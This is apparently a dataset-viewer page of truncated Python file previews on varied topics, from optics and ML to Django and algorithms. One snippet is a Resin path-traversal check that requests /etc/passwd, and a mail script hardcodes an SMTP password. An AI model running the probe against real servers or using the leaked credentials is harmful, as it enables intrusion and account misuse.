text stringlengths 2 999k |
|---|
"""A Script to compute the effective overlap between a laser and a star Airy disk,
when the starlight is dispersed, in a heterodyne laser frequency comb detection
scheme."""
from __future__ import print_function
import numpy as np
import matplotlib.pyplot as plt
import scipy.special as sp
#Start with a y(x) jinc func... |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'acq4/util/Canvas/items/ScanCanvasItemTemplate.ui'
#
# Created by: PyQt5 UI code generator 5.8.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Form(object):
def setupUi(self... |
# Python Program for Floyd Warshall Algorithm
# Number of vertices in the graph
V = 4
# Define infinity as the large enough value. This value will be
# used for vertices not connected to each other
INF = float("inf")
# Solves all pair shortest path via Floyd Warshall Algorithm
def floydWarshall(graph):
"""dist... |
# The MIT License (MIT)
#
# Copyright (C) 2016 - Antoine Busque <abusque@efficios.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the ... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2021 HalfMarble LLC
# copyright 2014 Hamilton Kibbe <ham@hamiltonkib.be>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# File: load-alexnet.py
# Author: Yuxin Wu <ppwwyyxxc@gmail.com>
from __future__ import print_function
import numpy as np
import os
import cv2
import argparse
from tensorpack import *
from tensorpack.tfutils.symbolic_functions import *
from tensorpack.tfutils.summary impo... |
#!/usr/bin/env python3
#
# Generate USB string include files from text source
#
# Input format is one USB string per line. If it starts with '!{', then
# it's loaded as a json dict and indexed with the board name, with the
# empty string being used as default value.
#
# Copyright (C) 2019-2021 Sylvain Munaut <tnt@246t... |
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import torch
from torch import nn
from torch.nn import Parameter
import torch.nn.functional as F
from fairseq import utils
class MultiheadA... |
# Generated by Django 3.2.7 on 2021-09-16 23:35
import django.contrib.auth.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0002_alter_user_managers'),
]
operations = [
migrations.AddField(
model_name='user... |
# coding: utf-8
"""
Marketplace Insights API
<a href=\"https://developer.ebay.com/api-docs/static/versioning.html#Limited\" target=\"_blank\"> <img src=\"/cms/img/docs/partners-api.svg\" class=\"legend-icon partners-icon\" title=\"Limited Release\" alt=\"Limited Release\" />(Limited Release)</a> The Marketpl... |
from typing import FrozenSet
from collections import Iterable
from math import log, ceil
from mathsat import msat_term, msat_env
from mathsat import msat_make_constant, msat_declare_function
from mathsat import msat_get_integer_type, msat_get_rational_type, msat_get_bool_type
from mathsat import msat_make_and, msa... |
#!/usr/bin/python
# coding=utf-8
import sys
import os
import math
import collections
import subprocess
import tempfile
import shutil
import time
import traceback
import threading
import re
import random
import signal
import struct
try:
from Queue import Queue, Empty
except ImportError:
from... |
# -*- coding: utf-8 -*-
from .sma import sma
from pandas_ta import Imports
from pandas_ta.utils import get_offset, verify_series
def trima(close, length=None, talib=None, offset=None, **kwargs):
"""Indicator: Triangular Moving Average (TRIMA)"""
# Validate Arguments
length = int(length) if length and leng... |
# -*- encoding: utf-8 -*-
# Copyright (c) 2019 European Organization for Nuclear Research (CERN)
#
# Authors: Corne Lukken <info@dantalion.nl>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
... |
import numpy as np
from keras_xlnet.backend import keras
from keras_xlnet import PretrainedList, get_pretrained_paths
from keras_xlnet import Tokenizer
from sklearn.model_selection import train_test_split
from dataloader import load_data, get_X_array
from model import get_xlnet_model
from model_eval import model_eva... |
"""Find all word-pair palingrams in a dictionary file."""
import load_dictionary
word_list = load_dictionary.load('words.txt')
# find word-pair palingrams
def find_palingrams():
"""Find dictionary palingrams."""
words = set(word_list)
pali_list = []
for word in words:
end = len(word)
... |
import torch
import torch.nn as nn
import torch.utils.checkpoint as checkpoint
from timm.models.layers import DropPath, to_2tuple, trunc_normal_
import logging
import math
import os
from .mobilenet import MobileNetV1, MobileNetV2, MobileNetV3_Large, MobileNetV3_Small
from .googlenet import GoogLeNet
from .xception im... |
"""Support for Netgear Arlo IP cameras."""
from __future__ import annotations
from datetime import datetime, timedelta
import logging
from pyarlo import PyArlo
from requests.exceptions import ConnectTimeout, HTTPError
import voluptuous as vol
from homeassistant.components import persistent_notification
from homeassi... |
"""
Leetcode #274
"""
from typing import List
class Solution:
# similar to bucket sort
def hIndex(self, citations: List[int]) -> int:
n = len(citations)
citeCount = [0] * (n+1)
for c in citations:
if c >= n:
citeCount[n] += 1
else:
... |
from rest_framework import serializers
from .models import Setting
class SettingSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Setting
fields = ['id', 'name', 'type', 'value']
|
"""Authors: Cody Baker and Ben Dichter."""
import spikeextractors as se
from pynwb.ecephys import ElectricalSeries
from ....utils.json_schema import get_schema_from_hdmf_class
from ..baserecordingextractorinterface import BaseRecordingExtractorInterface
class TutorialRecordingExtractor(se.NumpyRecordingExtractor):
... |
#!/usr/bin/env python3
# Copyright (c) 2014-2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Helpful routines for regression testing."""
from base64 import b64encode
from binascii import hexlify,... |
#
# TinyDB Model: {{model_class_name}}
#
from {{appname}}.models.tinydb.tinymodel import TinyModel
class {{model_class_name}}(TinyModel):
#
# Use the cerberus schema style
# which offer you immediate validation with cerberus
# http://docs.python-cerberus.org/en/stable/validation-rules.html
# typ... |
import pickle
import argparse
import os
import logging
def construct_vocab(file_location, min_count, vocab_size):
""" Constructing vocabulary for the dataset
Keyword arguments:
file_location : Location of the dataset(The dataset is assumed to be in a tokenized format)
min_count : minimum c... |
#!/usr/bin/env python3
import sys
import getopt
import Mail
import subprocess
import socket
config = {
'smtp_host' : "smtp.qq.com",
'smtp_user' : "czlibit@foxmail.com",
'smtp_pass' : "dngcjckjeylmdfbi",
'from_email' : "czlibit@foxmail.com",
'to_email' : ['hefish@qq.com', "hefish@gmail.com"],
... |
import unittest
from entigen.types import Type
class TestTypes(unittest.TestCase):
def test_basic(self) -> None:
t = Type.from_string("string")
self.assertEqual(t.name, "string")
self.assertEqual(t.children, None)
def test_composedl(self) -> None:
t = Type.from_string("list<s... |
#!/usr/bin/env python3
# Copyright (c) 2014-2019 The ReBitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test mining RPCs
- getmininginfo
- getblocktemplate proposal mode
- submitblock"""
import copy
from... |
# import the necessary packages
import sys
import types
import logging
import importlib
from distutils.version import LooseVersion
# define custom logger
FORMAT = "%(name)s :: %(levelname)s :: %(message)s"
logging.basicConfig(format=FORMAT)
logger = logging.getLogger("VidGear CORE")
logger.propagate = False... |
# General structure from https://github.com/pytorch/examples/blob/master/mnist/main.py
from __future__ import print_function
import argparse
import os
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
from torch.optim... |
# -*- coding: utf-8 -*-
# @Author: yanqiang
# @Date: 2018-05-14 23:01:30
# @Last Modified by: yanqiang
# @Last Modified time: 2018-05-14 23:12:22
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
import tensorflow as tf
# Example 1: feed_dict with placeholder
# a is a placeholder for a vector of 3 elements,typ... |
import os
import numpy as np
from skimage.metrics import structural_similarity as ssim
from skimage.metrics import mean_squared_error as mse
from skimage.metrics import peak_signal_noise_ratio as psnr
def compare_image(metric, ref, target):
if metric == 'ssim':
return ssim(ref, target, multichannel=True)... |
#!/usr/bin/env python
"""
dnolivieri: 23 dec 2015
Bootstrap workflow for the MR ensemble RF code.
"""
import collections
import numpy as np
import random as rnd
import matplotlib.pyplot as plt
import cPickle as pickle
# -----------------------------------------------
if __name__ == '__main__':
inf... |
import sys
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from OpenGL.GL import *
from OpenGL.GLUT import *
from OpenGL.GLU import *
from PIL import Image
class MainWindow(QMainWindow):
'''
MainFrame
|-- MenuBar
|-- ProjectPanel
|-- TabPanel
|-- Indiv... |
from .googlenet_fcn import *
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2016 Andi Albrecht, albrecht.andi@gmail.com
#
# This module is part of python-sqlparse and is released under
# the BSD License: https://opensource.org/licenses/BSD-3-Clause
"""Module that contains the command line app.
Why does this file exist, and why n... |
import logging
from airflow.hooks.base_hook import BaseHook
from dateutil.parser import parse
from datetime import timezone
from etl_utils.airflow import get_connection
from exceptions import SettingFieldMissingError
from full_incidents.thehive_to_dwh.extract import extract
from postgresql_utils.session import create... |
#!/usr/bin/env python
"""End to end tests for GRR FileFinder flow."""
import functools
import operator
from grr_response_proto import jobs_pb2
from grr_response_test.end_to_end_tests import test_base
class TestFileFinderOSWindows(test_base.AbstractFileTransferTest):
"""Test for FileFinder flow on Windows machines... |
# -*- coding: utf-8 -*-
"""
sphinx.locale
~~~~~~~~~~~~~
Locale utilities.
:copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import gettext
from six import PY3, text_type
from six.moves import UserString
class _TranslationProxy(UserStri... |
# Sum of two linked list
def sum_two_lists(self, llist):
# Method 1 using strings
sum_llist = LinkedList()
p = self.head
q = llist.head
s1 = ""
s2 = ""
if p:
while p:
s1 += str(p.data)
p = p.next
else:
s1 = '0'
if q:
while q:
... |
import xml.etree.ElementTree as badET
import defusedxml.ElementTree as goodET
xmlString = "<note>\n<to>Tove</to>\n<from>Jani</from>\n<heading>Reminder</heading>\n<body>Don't forget me this weekend!</body>\n</note>"
# unsafe
tree = badET.fromstring(xmlString)
print(tree)
badET.parse('filethatdoesntexist.xml')
badET.it... |
import sys
sys.path.append("../../")
import string
FREQUENCIES = [8.17, 1.49, 2.78, 4.25, 12.70, 2.23, 2.02, 6.09, 6.97, 0.15, 0.77, 4.03, 2.41,
6.75, 7.51, 1.93, 0.10, 5.99, 6.33, 9.06, 2.76, 0.98, 2.36, 0.15, 1.97, 0.07]
freq = {}
letCount = 0
from appJar import gui
def resetFreq():
global let... |
import scrapy
import yaml
x = "{title: 'Erkek Lacivert Günlük Ayakkabı', description: '<ul><li>Materyal: Keten</li><li>İç Materyal: Keten</li><li>Taban: Kauçuk Taban</li></ul>', url: '/erkek-lacivert-gunluk-ayakkabi-2538304', code: 'C-73994', id: '2538304', pri... |
import sys
from collections import deque
from io import StringIO
test_input_one = """3
1 5
10 3
3 4
"""
my_test = """5
6 6
6 6
6 15
15 5
6 12
"""
# sys.stdin = StringIO(test_input_one)
# sys.stdin = StringIO(my_test)
num = int(input())
deq = deque()
for _ in range(num):
deq.append(input())
counter = 0
boolean... |
from hamcrest import assert_that
from allure_commons_test.report import has_test_case
from allure_commons_test.result import with_status
from allure_commons_test.result import has_status_details
from allure_commons_test.result import with_message_contains
from allure_commons_test.result import with_trace_contains
from ... |
#!/usr/bin/python
#
# Copyright 2018-2022 Polyaxon, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
#!/usr/bin/python
# Copyright (c) 2020, 2021 Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
# See LICENSE.TXT for d... |
# Copyright 2018 Databricks, Inc.
VERSION = '0.8.2'
|
import warnings
import numpy as np
from nengo.base import NengoObject, NengoObjectParam, ObjView
from nengo.dists import DistOrArrayParam, Distribution
from nengo.ensemble import Ensemble, Neurons
from nengo.exceptions import ValidationError
from nengo.learning_rules import LearningRuleType, LearningRuleTypeParam
fro... |
# Say you have an array for which the ith element is the price of a given stock on day i.
# If you were only permitted to complete at most one transaction (ie, buy one and sell one share of the stock), design an algorithm to find the maximum profit.
# Example 1:
# Input: [7, 1, 5, 3, 6, 4]
# Output: 5
# max. differe... |
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
# Copyright 2017 Battelle Energy Alliance, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
# ##############################################################################
# This file is part of df_config #
# #
# Copyright (C) 2020 Matthieu Gallet <github@19pouces.net> ... |
from typing import Union, List, Optional
from pyspark.sql.types import (
StructType,
StructField,
StringType,
ArrayType,
BooleanType,
DataType,
)
# This file is auto-generated by generate_schema so do not edit it manually
# noinspection PyPep8Naming
class CoverageEligibilityRequest_InsuranceS... |
import sys
import json
import requests
from pathlib import Path
# https://stackoverflow.com/a/16696317/4454877
def download_file(url, local_filename):
filepath = Path(local_filename)
if filepath.is_file():
return # TODO: check file hashes for updates?
print(url)
#exit()
filepath.parents[0].mkdir(parents=True, e... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Sep 29 17:52:45 2019
@author: akshita
"""
import os
os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152
os.environ["CUDA_VISIBLE_DEVICES"]="0"
os.system('''python train_images.py \
--gammaD 10 --gammaG 10 --gzsl --nclass_all 102... |
import torch.nn as nn
from networks.ops import GuidedCxtAttenEmbedding, SpectralNorm, LocalHOPBlock
from networks.decoders.res_shortcut_dec import ResShortCut_D_Dec
from utils import CONFIG
class ResLocalHOP_PosEmb_Dec(ResShortCut_D_Dec):
def __init__(self, block, layers, enc_expansion=1, norm_layer=... |
#coding:utf-8
#author:wolf@future-sec
import urllib2
def check(host,port,timeout):
url = "http://%s:%d"%(host,int(port))
vul_url = url + "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
try:
res_html = urllib2.urlopen(vul_url,timeout=timeout).read()
except:
... |
import requests
import json
url = "http://10.132.159.140:8000/sendjson/"
myobj = {'somekey': 'somevalue'}
x = requests.put(url, json=myobj)
response = requests.get(url)
todos = json.loads(response.text)
print(todos)
print(x.text)
|
from django.contrib.auth.models import User
from django.test import TestCase
from django.urls import resolve, reverse
from ..forms import PostForm
from ..models import SportMeet, Post, Topic
from ..views import reply_topic
class ReplyTopicTestCase(TestCase):
'''
Base test case to be used in all `reply_topic`... |
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
import argparse
import copy
import datetime
import json
import os
import random
import sys
import time
from tqdm import tqdm
import torch
from torch.utils.data import DataLoader
from dataset import TwitterDataset, Vocabulary
from util import load_object_from_dict
def load_datasets(train_dataset_params: dict, valida... |
# Copyright 2020-2021 The Kubeflow Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... |
#!/usr/bin/env python
# Copyright 2019 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
from typing import Optional, Sequence
import larq as lq
import tensorflow as tf
from zookeeper import Field, factory
from larq_zoo.core import utils
from larq_zoo.core.model_factory import ModelFactory
@factory
class BinaryResNetE18Factory(ModelFactory):
"""Implementation of [BinaryResNetE18](https://arxiv.org/... |
import streamlit as st
from utils.preprocessing_model import ModellingData
from utils.utils import change_to_province
import pandas as pd
import pickle
df = pd.read_csv("Dataset.csv", sep=",")
del df['Price']
columns = df.columns
st.title("Belgian Houses Price Prediction")
st.markdown("Get the price of your house")... |
# Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
import operator
import re
import math
from http import HTTPStatus
from flask import Flask, jsonify, request
app = Flask(__name__)
robot_regex = re.compile(r"robot#([1-9][0-9]*)")
variables = {
'robots': {},
'aliens': {}
}
class MyException(Exception):
def __init__(self, arg1, arg2=None):
self.a... |
# -*- coding: utf-8 -*-
from codequick.utils import urljoin_partial
import os
import xbmc
import xbmcaddon
ADDON = xbmcaddon.Addon()
# Urls
IMG_PUBLIC = "https://jioimages.cdn.jio.com/imagespublic/"
IMG_CATCHUP = "http://jiotv.catchup.cdn.jio.com/dare_images/images/"
IMG_CATCHUP_SHOWS = "http://jiotv.catchup.cdn.jio.... |
# Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
from jackal.settings import jackal_settings
from jackal.structures import JackalBaseStructure, BaseQueryFunction
def structure_loader(key):
ret_data = dict()
stru = getattr(jackal_settings, key, None)
if stru is None:
stru = jackal_settings.CUSTOM_STRUCTURES.get(key)
if stru is None:
... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (c) 2012 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.... |
import os
import re
import sys
import json
import errno
import distro
import psutil
import signal
import logging
import argparse
import platform
import multiprocessing
from typing import Optional, List, Callable
try:
import plumbum as pb
except ImportError:
# run `pip install plumbum` or `easy_install plumbu... |
# Sample code from https://www.redblobgames.com/pathfinding/a-star/
# Copyright 2014 Red Blob Games <redblobgames@gmail.com>
#
# Feel free to use this code in your own projects, including commercial projects
# License: Apache v2.0 <http://www.apache.org/licenses/LICENSE-2.0.html>
from __future__ import annotations
im... |
#!/usr/bin/env python
from golbase import GameOfLifeBase, Cell
import random
import time
import logging
class GameOfLifeBlockSwitch(GameOfLifeBase):
def __init__(self, *args, **kwargs):
super(GameOfLifeBlockSwitch, self).__init__(*args, **kwargs)
self.toroidal = True
def run(self):
... |
""" Run Nornir playbook
Usage:
nornir_play.py (<playbook_name>)
Arguments:
playbook_name Playbook needs to run
Examples:
nornir_play.py playbook_name.py
Options:
-h --help This message
"""
from nornir import InitNornir
from nornir.core.filter import F
from nornir.core.exceptions import NornirS... |
# -*- coding: utf-8 -*-
'''
【简介】
PyQt5中 QCheckBox 例子
'''
import sys
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from PyQt5.QtCore import Qt
class CheckBoxDemo(QWidget):
def __init__(self, parent=None):
super(CheckBoxDemo , self).__init__(parent)
groupBox = ... |
import urllib.parse
from binance_f.constant.system import WebSocketDefine
from binance_f.impl.websocketrequestimpl import WebsocketRequestImpl
from binance_f.impl.websocketconnection import WebsocketConnection
# from binance_f.impl.websocketwatchdog import WebSocketWatchDog
from .impl.websocketwatchdog import We... |
# Copyright 2018 Brocade Communications Systems LLC. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may also obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... |
# Copyright (c) 2020, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
from .. import backends
backends._QT_FORCE_QT5_BINDING = True
from .backend_qtcairo import ( # noqa: F401, E402 # pylint: disable=W0611
_BackendQTCairo, FigureCanvasQTCairo, FigureCanvasCairo, FigureCanvasQT,
RendererCairo
)
@_BackendQTCairo.export
class _BackendQT5Cairo(_BackendQTCairo):
pass
|
from io import BytesIO, StringIO
from json import dumps, loads
from os.path import basename
from typing import Dict, List
from discord import File, Guild, Member, Message, TextChannel
from discord.ext.commands import Bot, Cog
import constant
class RoleManager(Cog):
__slots__ = ("bot", "store_channel", "target_g... |
import json
from sawtooth_lisp.lisp import LISP_NAMESPACE
from lisp_test.lisp_message_factory import LispMessageFactory
from sawtooth_integration.tests.integration_tools import RestClient
class LispClient(RestClient):
def __init__(self, url):
super().__init__(url, LISP_NAMESPACE)
self.factory = L... |
import os
import sys
import gnupg
from typing import Union, List
from subprocess import Popen, PIPE
from rkd.api.inputoutput import IO
from .exception import CryptographyKeysAlreadyCreated
from .inputoutput import StreamableBuffer
from .model import Encryption
class EncryptionService(object):
_io: IO
def __i... |
#!/usr/bin/env python3
# Copyright (c) 2019 The PIVX Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
Performs the same check as in Test_02 verifying that zPoS forked blocks that stake a zerocoin which is spent ... |
from __future__ import with_statement
from google.appengine.api import files
from google.appengine.api.images import get_serving_url
from google.appengine.ext.blobstore import delete as blobstore_delete, BlobReader, MAX_BLOB_FETCH_SIZE
MAX_SIZE_IN_BYTES = MAX_BLOB_FETCH_SIZE - 1 #1015807 bytes ~ 0.969MB
def delete(bl... |
from pyrogram import Client, filters
import asyncio
import os
from pytube import YouTube
from pyrogram.types import InlineKeyboardMarkup
from pyrogram.types import InlineKeyboardButton
from youtubesearchpython import VideosSearch
from blissbot.basi_mon import ignore_blacklisted_users, get_arg
from blissbot import app, ... |
ADDRESS={
"AHSuAAA4vL6uCdA8uwDM9NLsvQ2YrTmWcU":("03dc2841ddfb8c2afef94296693315a234026fa8f058c3e4259a04f8be6d540049",),
"ATiabWLxT5sLQpkppZDK9JmCF9wBFYpX3V":("037e164ccc6b7e9db6d6c2d421c8ac13d4399e5408d27c017a6c871219899cb251"),
"AZLtmATYKJLJgdTEap1osSFTpfmnexBCLZ":("036f7218f737e122d3aca71b7dc4136b666ccd... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Modèle de données propre pour les données Irigo, ainsi que les fonctions
permettant d'importer depuis les données brutes dans le modèle de données
propre.
"""
from sqlalchemy import (Column, Integer, BigInteger, Float, MetaData, Table,
... |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
import numpy as np
import xarray as xr
from ..constants import KELVIN, MB_PER_KPA
sat_pressure_0c = 6.112 # [milibar]
min_vap = 0.005 # lower limit for vapor pressure
def dewpoint(e):
"""Calculate the ambient dewpoint given the vapor pressure.
Parameters
----------
e : scalar or array-like
... |
import hashlib
import os
import shutil
from base64 import urlsafe_b64encode
from pathlib import Path
from typing import TYPE_CHECKING
from typing import List
from poetry.core.masonry.builders.builder import Builder
from poetry.core.masonry.builders.sdist import SdistBuilder
from poetry.core.masonry.utils.package_incl... |
# -*- coding: utf-8 -*-
import irc3
from irc3.plugins.command import command
from random import choice
@irc3.plugin
class Plugin(object):
def __init__(self, bot):
self.bot = bot
@command(permission=None)
def flip(self, mask, target, args):
"""Flip a coin
%%flip
"""
... |
from django import forms
from .models import DataInfo
class DataInfoForm(forms.ModelForm):
class Meta:
model = DataInfo
fields = ('data_file', ) |
from django.db import models
# Create your models here.
class Block_printing(models.Model):
question1 = models.CharField(max_length=500)
answer1 = models.CharField(max_length=350)
image1 = models.ImageField(upload_to='pics')
question2 = models.CharField(max_length=500,default=None,null=True)
answer... |
from q3 import square,sphere,cube
sq = square(2)
per1 = sq.peri()
area1 = sq.area()
print("perimeter of square = " ,per1)
print("area of square = " ,area1)
sp = sphere(3)
vol2 = sp.vol()
area2 = sp.area()
print("volume of sphere = " ,vol2)
print("area of sphere = " ,area2)
cu = cube(4)
per3 = cu.peri(... |
# -*- coding: utf-8 -*-
"""
tests.integration.modules.pip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from __future__ import absolute_import, print_function, unicode_literals
import os
import pprint
import re
import shutil
import sys
import tempfile
import pytest
import salt.utils.files
import salt.utils.path
import salt.util... |
"""Summary
"""
from typing import Union
import pandas as pd
import numpy as np
from .api import API, DataView
from .utils import chunks
from itertools import chain
from urllib.parse import quote_plus
class WikipediaDV(DataView):
"""Summary
"""
def get_page(self, page: Union[int, str]) -> pd.Series:
... |
#!/usr/bin/env python3
# Copyright (c) 2019 The Monero Project
#
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are
# permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, t... |
# Runtime: 140 ms, faster than 25.37% of Python3 online submissions for Longest Substring Without Repeating Characters.
# Memory Usage: 14.1 MB, less than 19.28% of Python3 online submissions for Longest Substring Without Repeating Characters.
class Solution:
def lengthOfLongestSubstring(self, s: str) -> int:
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.